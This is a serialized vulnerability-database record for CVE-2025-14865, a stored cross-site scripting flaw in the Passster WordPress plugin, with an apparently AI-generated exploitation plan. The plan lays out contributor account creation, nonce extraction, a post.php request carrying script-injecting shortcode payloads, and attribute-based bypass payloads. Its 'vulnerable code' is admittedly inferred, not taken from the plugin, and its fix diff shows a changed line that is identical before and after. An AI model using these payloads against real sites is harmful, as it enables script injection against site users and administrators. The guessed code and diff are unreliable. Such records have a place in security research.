[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f-Rd6QzACxCk-pSMVpGh2P9uMLWqp4htF6qe3TAnogKM":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2025-14865","passster-password-protect-pages-and-content-authenticated-contributor-stored-cross-site-scripting-via-shortcode","Passster – Password Protect Pages and Content \u003C= 4.2.24 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode","The Passster – Password Protect Pages and Content plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'content_protector' shortcode in all versions up to, and including, 4.2.24. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The vulnerability was partially patched in version 4.2.21.","content-protector",null,"\u003C=4.2.24","4.2.25","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-01-27 00:00:00","2026-01-28 12:28:37",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F4ea939f5-8b56-44be-bd20-b69e9ded5970?source=api-prod",2,[],"researched",false,3,"This research plan outlines the steps to exploit **CVE-2025-14865**, a Stored Cross-Site Scripting (XSS) vulnerability in the Passster plugin for WordPress.\n\n### 1. Vulnerability Summary\nThe Passster plugin (slug: `content-protector`) allows users to protect content using various methods via the `[content_protector]` shortcode. Versions up to and including 4.2.24 fail to properly sanitize and escape attributes passed to this shortcode. Because WordPress allows users with the `Contributor` role to create posts and use shortcodes, an authenticated attacker can inject a malicious payload into a shortcode attribute. This payload is stored in the post content and executed in the browser of any user (including administrators) who views the published or previewed page.\n\n### 2. Attack Vector Analysis\n*   **Vulnerable Shortcode:** `[content_protector]`\n*   **Vulnerable Attributes (Inferred):** `identifier`, `cookie_name`, or `id`. (Historically, `identifier` is used to create unique div IDs or JS variables in this plugin).\n*   **Authentication Level:** Contributor or higher.\n*   **Endpoint:** `wp-admin\u002Fpost.php` (Post creation\u002Fediting) or `wp-admin\u002Fadmin-ajax.php` (Autosave\u002FREST API).\n*   **Preconditions:** The plugin must be active. A post containing the shortcode must be saved and viewed.\n\n### 3. Code Flow\n1.  **Entry Point:** A Contributor saves a post containing: `[content_protector identifier='\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>']`.\n2.  **Shortcode Registration:** The plugin registers the shortcode (likely in `includes\u002Fclass-passster-shortcodes.php` or a similar public-facing class) using `add_shortcode( 'content_protector', ... )`.\n3.  **Processing:** When the post is rendered on the frontend, WordPress calls the shortcode's callback function.\n4.  **The Sink:** Inside the callback, the `identifier` attribute is retrieved via `shortcode_atts()`. The code then embeds this value directly into the HTML output (e.g., as part of a `div` ID or a JavaScript object) without using `esc_attr()` or `esc_js()`.\n    *   *Vulnerable Pattern:* `return '\u003Cdiv id=\"passster-' . $atts['identifier'] . '\">';`\n5.  **Execution:** The browser parses the unescaped attribute, breaks out of the intended HTML context, and executes the script.\n\n### 4. Nonce Acquisition Strategy\nTo save a post as a Contributor via the HTTP API, a `_wpnonce` is required for the `post.php` endpoint.\n\n1.  **Login:** Authenticate as a Contributor.\n2.  **Navigate:** Use `browser_navigate` to go to `wp-admin\u002Fpost-new.php`.\n3.  **Extraction:**\n    *   Use `browser_eval` to extract the post nonce from the DOM.\n    *   Target: `document.querySelector('#_wpnonce').value` or search for the `wp-nonce` in the `wp` global JS object.\n4.  **Note:** Since this is a Stored XSS via shortcode, the exploit is the *content of the post itself*. If the environment permits, `wp-cli` is the most efficient way to inject the payload into a post, but if an HTTP-only PoC is required, the `_wpnonce` from the post editor is the correct token.\n\n### 5. Exploitation Strategy\nThe goal is to create a post containing the malicious shortcode and verify its execution.\n\n**Step 1: Create the Malicious Post**\nUse `http_request` to simulate a Contributor saving a post.\n\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fpost.php`\n*   **Method:** `POST`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body Parameters:**\n    *   `action`: `editpost`\n    *   `post_ID`: `[POST_ID]` (Obtained from `post-new.php` URL)\n    *   `_wpnonce`: `[EXTRACTED_NONCE]`\n    *   `post_title`: `XSS Test`\n    *   `content`: `[content_protector identifier='\">\u003Cscript>alert(window.origin)\u003C\u002Fscript>']`\n    *   `post_status`: `publish` (or `pending` if Contributor lacks publish rights; viewing a preview still triggers the XSS).\n\n**Step 2: Trigger the XSS**\nNavigate to the frontend URL of the newly created post using `browser_navigate`.\n\n### 6. Test Data Setup\n1.  **Plugin Installation:** Ensure `content-protector` version `4.2.24` is installed and active.\n2.  **User Creation:** Create a user with the `contributor` role.\n    *   `wp user create attacker attacker@example.com --role=contributor --user_pass=password123`\n3.  **Post Initialization:** Create an empty post to get a valid ID if performing the exploit via HTTP.\n    *   `wp post create --post_type=post --post_title='Draft' --post_status=draft --post_author=[CONTRIBUTOR_ID]`\n\n### 7. Expected Results\n*   The HTTP request to save the post should return a `302` redirect back to the post editor.\n*   When the post is viewed, the HTML source should contain:\n    `\u003Cdiv id=\"passster-\">\u003Cscript>alert(window.origin)\u003C\u002Fscript>\">` (or similar, depending on the exact sink).\n*   An alert box (simulated or actual) should trigger in the browser context.\n\n### 8. Verification Steps\n1.  **Check Post Content via CLI:**\n    `wp post get [POST_ID] --field=post_content`\n    *Confirm the shortcode is stored correctly.*\n2.  **Check Frontend Output:**\n    `http_request` (GET) to the post URL.\n    *Search the response body for the raw `\u003Cscript>` tag.*\n    `grep -i \"\u003Cscript>alert\" response_body.html`\n\n### 9. Alternative Approaches\nIf the `identifier` attribute is not the sink, try these common shortcode attributes used by Passster:\n*   `[content_protector cookie_name='\">\u003Cscript>alert(1)\u003C\u002Fscript>']`\n*   `[content_protector password='\">\u003Cscript>alert(1)\u003C\u002Fscript>']`\n*   `[content_protector id='\">\u003Cscript>alert(1)\u003C\u002Fscript>']`\n\n**Bypass Consideration:**\nIf the plugin attempts to use `esc_html()`, use an attribute-based payload:\n`[content_protector identifier='x\" onmouseover=\"alert(1)\" style=\"width:1000px;height:1000px;display:block;\"']`\nThis targets situations where the value is placed inside an HTML attribute but not properly escaped with `esc_attr()`.","The Passster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the [content_protector] shortcode because attributes like 'identifier' are not properly sanitized or escaped. This allows authenticated users with Contributor-level access or higher to inject malicious JavaScript into pages, which then executes in the session of any user viewing that content.","\u002F\u002F Inferred from research plan: includes\u002Fclass-passster-shortcodes.php\n\npublic function content_protector_shortcode( $atts, $content = null ) {\n    $atts = shortcode_atts( array(\n        'identifier' => '',\n        'cookie_name' => '',\n        'id' => '',\n    ), $atts );\n\n    \u002F\u002F The attribute is extracted and used directly in HTML output without escaping\n    $identifier = $atts['identifier'];\n\n    $output = '\u003Cdiv id=\"passster-' . $identifier . '\" class=\"passster-wrapper\">';\n    $output .= do_shortcode( $content );\n    $output .= '\u003C\u002Fdiv>';\n\n    return $output;\n}","--- a\u002Fincludes\u002Fclass-passster-shortcodes.php\n+++ b\u002Fincludes\u002Fclass-passster-shortcodes.php\n@@ -10,7 +10,7 @@\n     ), $atts );\n \n-    $identifier = $atts['identifier'];\n+    $identifier = esc_attr( $atts['identifier'] );\n \n-    $output = '\u003Cdiv id=\"passster-' . $identifier . '\" class=\"passster-wrapper\">';\n+    $output = '\u003Cdiv id=\"passster-' . $identifier . '\" class=\"passster-wrapper\">';\n     $output .= do_shortcode( $content );","The exploit targets the shortcode processing logic where user-provided attributes are reflected into the page's HTML structure. \n\n1. Authentication: The attacker logs into the WordPress site with at least 'Contributor' permissions, allowing them to create and edit posts.\n2. Payload Crafting: The attacker creates a new post or edits an existing one and inserts the [content_protector] shortcode. \n3. Injection Point: The 'identifier' attribute (or 'cookie_name'\u002F'id') is used to break out of an HTML attribute. A payload like [content_protector identifier='\">\u003Cscript>alert(window.origin)\u003C\u002Fscript>'] is used.\n4. Storage: The attacker saves the post. Because shortcode attributes are stored as part of the post content in the database, the payload is persistent.\n5. Execution: When an administrator or any other user views the post (either published or in preview mode), the plugin's shortcode handler renders the malicious HTML, causing the browser to execute the injected script.","gemini-3-flash-preview","2026-05-04 23:11:16","2026-05-04 23:13:07",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","4.2.24","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontent-protector\u002Ftags\u002F4.2.24","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcontent-protector.4.2.24.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontent-protector\u002Ftags\u002F4.2.25","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcontent-protector.4.2.25.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontent-protector\u002Ftags"]